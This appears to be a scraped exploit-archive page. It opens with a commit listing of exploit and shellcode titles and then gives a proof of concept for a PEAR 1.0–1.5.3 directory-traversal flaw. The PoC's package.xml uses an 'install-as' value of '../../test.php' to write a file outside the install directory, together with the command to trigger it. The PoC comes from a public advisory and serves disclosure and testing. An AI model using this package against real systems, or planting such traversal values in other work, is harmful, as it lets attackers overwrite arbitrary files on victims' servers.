880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
70 lines
No EOL
1.9 KiB
Text
70 lines
No EOL
1.9 KiB
Text
source: https://www.securityfocus.com/bid/24111/info
|
|
|
|
PEAR is prone to a vulnerability that lets attackers overwrite arbitrary files.
|
|
|
|
An attacker-supplied package may supply directory-traversal strings through the 'install-as' attribute to create and overwrite files in arbitrary locations.
|
|
|
|
This issue affects PEAR 1.0 to 1.5.3.
|
|
|
|
create a file named "INSTALL" and save it in the current directory.
|
|
Save the following XML as package.xml, and run "pear install package.xml"
|
|
|
|
If php_dir is /usr/local/lib/php The file "INSTALL" will be installed into
|
|
/usr/local/test.php
|
|
|
|
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<package version="2.0" xmlns="http://pear.php.net/dtd/package-2.0"
|
|
xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
|
|
http://pear.php.net/dtd/tasks-1.0.xsd
|
|
http://pear.php.net/dtd/package-2.0
|
|
http://pear.php.net/dtd/package-2.0.xsd">
|
|
<name>Test_Sec</name>
|
|
<channel>pear.php.net</channel>
|
|
<summary>Test security vulnerability</summary>
|
|
<description>demonstrate install-as vulnerability
|
|
</description>
|
|
<lead>
|
|
<name>Greg Beaver</name>
|
|
<user>cellog</user>
|
|
<email>cellog@php.net</email>
|
|
<active>yes</active>
|
|
</lead>
|
|
<date>2007-03-05</date>
|
|
<version>
|
|
<release>1.6.0</release>
|
|
<api>1.6.0</api>
|
|
</version>
|
|
<stability>
|
|
<release>stable</release>
|
|
<api>stable</api>
|
|
</stability>
|
|
<license uri="http://www.php.net/license">PHP License</license>
|
|
<notes>
|
|
allow up to latest beta version [tias]
|
|
</notes>
|
|
<contents>
|
|
<dir name="/">
|
|
<file name="INSTALL" role="php" />
|
|
</dir> <!-- / -->
|
|
</contents>
|
|
<dependencies>
|
|
<required>
|
|
<php>
|
|
<min>4.3.0</min>
|
|
</php>
|
|
<pearinstaller>
|
|
<min>1.4.3</min>
|
|
</pearinstaller>
|
|
</required>
|
|
</dependencies>
|
|
<phprelease>
|
|
<filelist>
|
|
<install as="../../test.php" name="INSTALL" />
|
|
</filelist>
|
|
</phprelease>
|
|
|
|
</package> |